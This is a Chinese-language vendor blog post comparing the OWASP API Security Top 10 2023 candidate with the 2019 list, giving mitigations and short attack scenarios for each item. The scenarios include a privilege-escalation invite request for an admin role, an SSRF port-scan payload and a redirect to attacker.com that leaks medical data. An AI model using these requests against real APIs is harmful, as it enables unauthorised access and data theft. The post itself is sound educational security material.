梆梆资讯
API 安全专题(九) | OWASP API Security Top 10 (2023-RC更新)与2019版的对比
2023-05-16
国外非营利组织 OWASP 2019年首次提出 API Security Top 10,对 API 安全漏洞的发现与风险点检测划分重点。伴随 API 的快速发展与广泛应用,API的安全建设成为数字化企业的重点工作。OWASP 近期发布 API Security Top 10 (2023候选版)的内容更新。此次更新内容进一步强调 API 攻击和传统Web攻击的差异化场景,需要重点关注API权限管理、资产管理、业务安全处置与三方组件(供应链)等问题。
本次更新主要变化如下图所示:
1.对象级别授权失效(Broken Object Level Authorization):无变化
对象级别授权失效漏洞,是指无法验证用户对对象执行特定任务的权限时,可能导致数据泄漏、更新或破坏。为防止此漏洞,应遵循适当的授权机制,进行适当的检查以验证用户对特定记录的操作,并在部署任何生产级更改之前执行安全测试。
场景案例:在线文档存储服务允许用户查看、编辑、存储和删除他们的文档。当用户的文档被删除时,带有文档 ID 的 GraphQL 突变会被发送到 API。
POST /graphql
{
"operationName":"deleteReports",
"variables":{
"reportKeys":["
"] },
"query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
{
deleteReports(reportKeys: $reportKeys)
}
}"
}
由于文档 ID 在没有任何进一步权限检查的情况下被删除,因此用户可能能够删除另一个用户的文档。
2.身份认证失效(Broken Authorization):无变化
当应用程序的身份验证端点无法检测到冒充他人身份并允许部分或完全控制帐户的攻击者时,身份验证失效是一个严重的漏洞。为防止此漏洞,需要观察和理解所有可能的身份验证 API 端点,应对任何机密更改执行重新身份验证、多因素身份验证、验证码挑战和有效的安全解决方案应应用于检测和缓解凭据填充,字典和暴力类型的攻击。
场景案例:为了更新与用户帐户关联的电子邮件地址,客户端应发出如下所示的 API 请求。
PUT /account
Authorization: Bearer
{ "email": "
" }
由于该 API 不要求用户通过提供当前密码来确认身份,不良行为者能够让自己处于窃取身份验证令牌的位置。他们还可能通过启动重置密码来接管受害者的帐户更新受害者帐户的电子邮件地址后的工作流程。
3.对象属性级别授权失效(Broken Object Property Level Authorization):更新,将之前“过度的数据暴露(Excessive Data Exposure)”和“批量分配(Mass Assignment)”的内容进行合并
当允许用户在未验证其访问权限的情况下访问对象的属性时,就会出现此漏洞。OWASP APISec 2019 中的过度数据暴露和批量分配现在是这个新漏洞的一部分。为防止此漏洞,应在 API 端点公开之前仔细检查请求特定对象属性的用户的访问权限。应避免使用通用方法并将客户端输入自动绑定到内部对象或代码变量,并应强制执行基于模式的验证。
场景案例:一个基于短视频的社交网络,强制执行限制性内容过滤和审查。即使上传的视频被屏蔽,用户也可以使用以下 API 请求更改视频的描述。
PUT /api/video/update_video
{"description":"a funny video about cats"}
{"description":"a funny video about cats","blocked":false}
API 端点容易受到攻击,因为没有验证用户是否应该有权访问内部对象属性 - “blocked”,并且用户可以将值从“true”更改为“false”并解锁他们自己被阻止的内容。
4.资源消耗无限制(Unrestricted Resource Consumption):更新,涉及到应用层DoS,强调了后果,如后端资源耗竭/云平台欠费等
Unrestricted Resource Consumption 漏洞发生在系统资源被不必要地消耗时,最终可能导致服务降级和性能延迟问题。虽然名字变了,但是漏洞还是和Lack of Resources & Rate Limiting 一样。为防止此漏洞,应强制执行速率限制、输入负载/参数的最大大小以及请求的服务器端验证。
场景案例:攻击者通过向 /api/v1/images 发出 POST 请求来上传大图像。上传完成后,API 会创建多个不同大小的缩略图。由于上传图像的大小,可用内存在创建缩略图期间耗尽并且 API 变得无响应。
5. 功能级授权失效(Broken Function Level Authorization):无变化
当易受攻击的 API 端点允许普通用户执行管理操作或来自一个组的用户被允许访问特定于另一组用户的功能时,就会发生损坏的功能级别授权。为防止此漏洞,应实施基于用户组/角色的访问控制策略和管理授权检查。
场景案例:在只允许受邀用户加入的应用程序的注册过程中,移动应用程序会触发对 的 API 调用 GET /api/invites/{invite_guid}。响应包含一个 JSON,其中包含有关邀请的详细信息,包括用户的角色和用户的电子邮件。攻击者复制请求并将 HTTP 方法和端点操纵到POST /api/invites/new. 此端点只能由使用管理控制台的管理员访问。端点不实施功能级授权检查。攻击者利用该问题并发送具有管理员权限的新邀请:
POST /api/invites/new
{"email":"attacker@somehost.com","role":"admin"}
随后,攻击者使用恶意制作的邀请为自己创建管理员帐户并获得对系统的完全访问权限。
6.服务端请求伪造(Server Side Request Forgery):新增
当 API 在未验证用户 URL 的情况下获取内部服务器资源时,会发生服务器端请求伪造 (SSRF) 漏洞。攻击者通过操纵 URL 来利用此漏洞,这反过来又帮助他们从内部服务器检索敏感数据。为克服此漏洞,应实施输入数据验证以确保客户端提供的输入数据符合预期格式。应维护允许列表,以便仅处理受信任的请求/调用,并且应禁用 HTTP 重定向。
场景案例:社交网络允许用户上传个人资料照片。用户可以选择从他们的机器上载图像文件,或者提供图像的 URL。选择第二个,将触发以下 API 调用:
POST /api/profile/upload_picture
{"picture_url":"http:///example.com/profile_pic.jpg"}
攻击者可以使用 API 端点发送恶意 URL 并在内部网络中启动端口扫描。
{"picture_url":"localhost:8080"}
根据响应时间,攻击者可以判断端口是否打开。
7. 安全配置错误(Security Misconfiguration):无变化
安全配置错误是一种漏洞,当安全最佳实践被忽视时可能会出现。调试日志的意外暴露、不必要的启用 HTTP 动词、未应用的最新安全补丁、缺少可重复的安全强化过程、CORS 策略的不当实施等是安全配置错误的几个例子。为防止此漏洞,系统和整个 API 堆栈应保持最新状态,不要遗漏任何安全补丁。应进行持续的安全强化和配置跟踪过程。确保所有 API 通信都通过安全通道 (TLS) 进行,并且 HTTP 服务器链中的所有服务器都处理传入的请求。应正确设置跨域资源共享 (CORS) 策略。应该禁用不必要的 HTTP 动词。
场景案例:社交网络网站提供“直接消息”功能,允许用户保持私人对话。要检索特定对话的新消息,网站会发出以下 API 请求(不需要用户交互):
GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
由于 API 响应不包含 Cache-Control HTTP 响应标头,私人对话最终由 Web 浏览器缓存,允许恶意行为者从文件系统中的浏览器缓存文件中检索它们。
8. 缺乏对自动化威胁的防护(Lack Of Protection From Automated Threats):新增,原版“注入(Injection)”被删除
缺乏对自动威胁的保护也是 API 漏洞列表中的一个新成员,因为如今,API 很容易成为自动攻击的受害者。通过保持自动化工作,攻击者可以巧妙地使用多个 IP 地址和地理位置来绕过速率限制等传统保护机制。API 在检测自动攻击方面效率低下可能会对企业造成严重伤害,因为它也会对真实用户的服务产生不利影响。为了克服这个漏洞,企业需要有一个平台来识别请求是来自真实用户还是来自自动化工具。验证码和设备指纹识别也有助于减轻攻击。
场景案例:一家科技公司宣布他们将在感恩节发布一款新游戏机。该产品需求量很大,库存有限。攻击者,即自动化威胁网络的运营商,编写代码以自动购买新产品并完成交易。在发布当天,攻击者运行分布在不同 IP 地址和位置的代码。API 没有实施适当的保护,并允许攻击者在其他合法用户之前购买大部分股票。后来,攻击者以更高的价格在另一个平台上销售产品。
9.存量资产管理不当(Improper Assets Management):更新,强调了“未下线的老版本API/临时调用API”风险的暴露面
当组织不太清楚自己的 API 以及他们使用的第三方 API 并且缺乏适当的文档时,就会出现不当的库存管理漏洞。不了解当前的 API 版本、环境、访问控制策略、与第三方共享的数据等可能会导致严重的业务影响。清晰的理解和适当的文档是克服此漏洞的关键。与 API 主机、API 环境、网络访问、API 版本、集成服务、重定向、速率限制、CORS 策略相关的所有详细信息都应正确记录并保持最新。建议记录每一个小细节,并且应该授予对这些文件的授权访问权限。公开的 API 版本应与生产版本一起受到保护。只要有更新版本的 API 可用,就建议进行风险分析。
场景案例:社交网络允许独立应用程序的开发人员与其集成。作为此过程的一部分,需要最终用户同意,因此社交网络可以与独立应用程序共享用户的个人信息。社交网络和独立应用程序之间的数据流没有足够的限制或监控,允许独立应用程序不仅可以访问用户信息,还可以访问所有朋友的私人信息。一家咨询公司构建了一个恶意应用程序并设法获得 270,000 名用户的同意。由于该漏洞,该咨询公司设法访问了 50,000,000 名用户的私人信息。后来,咨询公司出于恶意目的出售这些信息。
10.不安全的第三方API(Unsafe Consumption Of APIS):新增,原来“日志和监控不足(Insufficient Logging&Monitoring)”被删除
API 的不安全使用又是一个新添加的漏洞,当开发人员倾向于对从第三方 API 接收的数据应用很少或根本不应用任何清理时,就会发生这种情况。为了克服这个问题,我们应该确保 API 交互发生在加密通道上。在进一步使用数据之前,应进行 API 数据评估和清理。应采取预防措施以避免使用允许列表进行不必要的重定向。
场景案例:API 与第三方服务提供商集成,以安全地存储敏感的用户医疗信息。使用如下所示的 HTTP 请求通过安全连接发送数据:
POST /user/store_phr_record
{ "genome": "ACTAGTAG__TTGADDAAIICCTT…" }
攻击者找到了一种破坏第三方 API 的方法,它开始以 308 永久重定向响应前一个请求。
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
由于 API 盲目地遵循第三方重定向,它会重复包含用户敏感数据的完全相同的请求,但这次是针对攻击者的服务器。
从本次API Security Top 10 (2023候选版)可以发现,API安全与传统的Web安全有很大区别,一方面需在设计和开发阶段,对API的安全性要进行全方面考量;另一方面还需在后面的运维阶段,针对API运行时进行安全防护,根据API的全生命周期进行防护体系建设,以此来更好的应对各类新型安全风险,将风险提前控制,保障运行时安全。
梆梆安全将结合自身多年的安全实践与技术优势,为企业用户提供适应新要求、新形势下的新一代API风险解决方案,构建合规要求下的数据安全治理体系,持续提高数据安全治理能力。
Copyright ©2022. All Rights Reserved 京ICP证160618号 京ICP备11006574号-1